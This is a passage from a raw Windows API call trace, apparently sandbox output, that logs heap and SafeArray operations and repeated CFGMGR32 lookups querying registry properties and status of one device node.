plLbound=0x67117d3a0) returned 0x0 [0184.996] SafeArrayGetUBound (in: psa=0x196ee7bf6e0, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0184.996] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b6530 [0184.996] SafeArrayGetDim (psa=0x196ee7bf6e0) returned 0x1 [0184.996] SafeArrayGetUBound (in: psa=0x196ee7bf6e0, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0184.996] SafeArrayGetElemsize (psa=0x196ee7bf6e0) returned 0x8 [0184.996] SafeArrayGetElement (in: psa=0x196ee7bf6e0, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0184.997] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e710, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0184.997] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e718, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0184.997] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e720, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0184.997] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b6530) returned 1 [0184.998] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee855c60) returned 1 [0184.998] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0184.998] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0184.998] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0184.998] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0184.999] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0184.999] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0184.999] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0184.999] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0184.999] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0184.999] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0184.999] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0184.999] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0185.000] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0185.000] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0185.000] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0185.000] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0185.000] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0185.000] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0185.000] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0185.000] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0185.000] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0185.001] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0185.001] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0185.001] malloc (_Size=0x18) returned 0x196ef0d1a60 [0185.001] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x18, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0185.001] malloc (_Size=0x54) returned 0x196ef0fae70 [0185.001] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x18, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x196ef0fae70, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0fae70, pulLength=0x67117d608) returned 0x0 [0185.002] free (_Block=0x196ef0fae70) [0185.002] malloc (_Size=0x48) returned 0x196ef0fbc20 [0185.002] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x4f1fe3da, dwHighDateTime=0x1d9eb0c)) [0185.002] SetEvent (hEvent=0x248) returned 1 [0185.149] malloc (_Size=0x18) returned 0x196ef0d1b40 [0185.149] SafeArrayPutElement (psa=0x196ee7bf360, rgIndices=0x67117d6d8, pv=0x196ee777cf8) returned 0x0 [0185.149] free (_Block=0x196ef0d1b40) [0185.149] malloc (_Size=0x18) returned 0x196ef0d1ae0 [0185.150] SafeArrayPutElement (psa=0x196ee7bf360, rgIndices=0x67117d6d8, pv=0x196ee777cf8) returned 0x0 [0185.150] free (_Block=0x196ef0d1ae0) [0185.150] malloc (_Size=0x18) returned 0x196ef0d20e0 [0185.150] SafeArrayPutElement (psa=0x196ee7bf360, rgIndices=0x67117d6d8, pv=0x196ee79a5a8) returned 0x0 [0185.150] free (_Block=0x196ef0d20e0) [0185.150] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee855ee0 [0185.150] SafeArrayGetDim (psa=0x196ee7bf360) returned 0x1 [0185.150] SafeArrayGetLBound (in: psa=0x196ee7bf360, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0185.150] SafeArrayGetUBound (in: psa=0x196ee7bf360, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0185.150] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b6410 [0185.150] SafeArrayGetDim (psa=0x196ee7bf360) returned 0x1 [0185.150] SafeArrayGetUBound (in: psa=0x196ee7bf360, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0185.150] SafeArrayGetElemsize (psa=0x196ee7bf360) returned 0x8 [0185.150] SafeArrayGetElement (in: psa=0x196ee7bf360, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0185.151] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e450, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0185.151] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e458, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0185.151] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e460, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0185.152] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b6410) returned 1 [0185.152] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee855ee0) returned 1 [0185.152] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0185.152] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0185.153] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0185.153] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0185.153] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0185.153] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0185.153] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0185.153] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0185.153] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0185.153] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0185.154] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0185.154] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0185.154] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0185.154] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0185.154] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0185.154] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0185.154] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0185.154] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0185.154] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0185.155] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0185.155] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0185.155] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0185.155] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0185.155] malloc (_Size=0x18) returned 0x196ef0d1f20 [0185.155] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x18, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0185.155] malloc (_Size=0x48) returned 0x196ef0fba40 [0185.155] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4f37bce1, dwHighDateTime=0x1d9eb0c)) [0185.155] SetEvent (hEvent=0x248) returned 1 [0185.158] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0185.158] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0185.158] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0185.158] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0185.158] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0185.158] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0185.158] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0185.158] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0185.159] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0185.159] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0185.159] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0185.159] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0185.159] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0185.159] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0185.159] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0185.159] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0185.160] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0185.160] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0185.160] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0185.160] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0185.160] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0185.160] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0185.160] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0185.160] malloc (_Size=0x18) returned 0x196ef0d1fa0 [0185.160] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x18, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0185.161] malloc (_Size=0x48) returned 0x196ef0fb950 [0185.161] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4f37bce1, dwHighDateTime=0x1d9eb0c)) [0185.161] SetEvent (hEvent=0x248) returned 1 [0185.163] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0185.163] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0185.163] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0185.163] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0185.164] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0185.164] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0185.164] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0185.164] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0185.164] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0185.164] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0185.164] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0185.164] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0185.164] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0185.165] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0185.165] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0185.165] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0185.165] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0185.165] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0185.165] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0185.165] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0185.165] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0185.166] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0185.166] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0185.166] malloc (_Size=0x18) returned 0x196ef0d1ca0 [0185.166] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x18, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0185.166] malloc (_Size=0x48) returned 0x196ef0fb680 [0185.166] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4f37bce1, dwHighDateTime=0x1d9eb0c)) [0185.166] SetEvent (hEvent=0x248) returned 1 [0185.169] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0185.169] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0185.169] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0185.169] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0185.169] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0185.169] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0185.169] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0185.170] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0185.170] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0185.170] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0185.170] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0185.170] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0185.170] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0185.170] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0185.170] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0185.170] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0185.171] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0185.171] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0185.171] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0185.171] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0185.171] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0185.171] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0185.171] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0185.171] malloc (_Size=0x18) returned 0x196ef0d1b00 [0185.171] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x18, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0185.172] malloc (_Size=0x48) returned 0x196ef0fb450 [0185.172] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4f3a1ecb, dwHighDateTime=0x1d9eb0c)) [0185.172] SetEvent (hEvent=0x248) returned 1 [0185.175] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0185.175] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0185.176] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0185.176] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0185.176] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0185.176] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0185.176] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0185.176] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0185.176] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0185.176] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0185.176] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0185.177] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0185.177] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0185.177] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0185.177] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0185.177] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0185.177] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0185.177] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0185.177] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0185.177] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0185.178] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0185.178] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0185.178] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0185.178] malloc (_Size=0x18) returned 0x196ef0d1d20 [0185.178] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x18, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0185.180] malloc (_Size=0x48) returned 0x196ef0fb450 [0185.180] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4f3a1ecb, dwHighDateTime=0x1d9eb0c)) [0185.180] SetEvent (hEvent=0x248) returned 1 [0185.182] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0185.183] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0185.183] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0185.183] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0185.183] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0185.183] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0185.183] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0185.183] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0185.183] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0185.183] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0185.184] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0185.184] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0185.184] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0185.184] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0185.184] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0185.184] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0185.184] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0185.184] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0185.184] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0185.185] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0185.185] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0185.185] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0185.185] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0185.185] malloc (_Size=0x18) returned 0x196ef0d1cc0 [0185.186] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x18, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0185.186] malloc (_Size=0x48) returned 0x196ef0fb680 [0185.186] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x4f3cee3e, dwHighDateTime=0x1d9eb0c)) [0185.186] SetEvent (hEvent=0x248) returned 1 [0185.189] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0185.189] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0185.190] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0185.190] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0185.190] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") 